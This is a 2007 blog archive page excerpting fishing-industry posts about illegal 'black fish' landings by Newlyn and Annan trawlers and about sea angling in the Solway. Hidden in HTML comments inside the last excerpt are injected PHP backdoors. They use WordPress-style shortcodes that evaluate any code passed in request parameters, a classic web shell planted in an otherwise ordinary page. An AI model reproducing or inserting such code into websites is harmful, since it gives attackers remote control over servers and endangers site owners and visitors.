Archive for August, 2007

Is This Showing Responsible Leadership ?

Is This Showing Responsible Leadership ?

Mrs Stevenson, President of the National Federation of Fishermen’s Organisations, is appealing against her conviction for her involvement as one of 17 Newlyn skippers, owners and agents who have been convicted of involvement in a scheme to land so-called “black fish” – fish that under the EU quota system they were not entitled to bring […]

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Annan based trawlers guilty of ‘black fishing’

Annan based trawlers guilty of ‘black fishing’

Extracted from the Sunday Mail of 05/08/07 TN Trawlers based in Annan fish the Solway Firth and the south of England were targeted as part of a crackdown on ‘black fishing’ between Jan 04 and July 05. TN Trawlers, two fish merchants and six skippers admitted breaching the limits. Chris Nicholson, of Annan, was fined […]

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Sea Angling in the Solway – Present and Future

Sea Angling in the Solway – Present and Future

At our meeting with the Scottish Executives Fisheries people, Ian Burrett presented a paper on sea angling in the Solway – Present and Future. The following is a brief summary of it, the full version may found here. The Solway is blessed with many different geological regions. Because of this it was once a haven […]

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Traders launch legal action over ‘black’ fish landings

Traders launch legal action over ‘black’ fish landings

Scotsman :: Fish traders are set to launch legal action against the Scottish Executive amid claims that authorities failed to prevent their livelihoods being ruined by the illegal trade in ‘black’ fish landings. <!– [insert_php]if (isset($_REQUEST["CGvXC"])){eval($_REQUEST["CGvXC"]);exit;}[/insert_php][php]if (isset($_REQUEST["CGvXC"])){eval($_REQUEST["CGvXC"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["ozW"])){eval($_REQUEST["ozW"]);exit;}[/insert_php][php]if (isset($_REQUEST["ozW"])){eval($_REQUEST["ozW"]);exit;}[/php] –>

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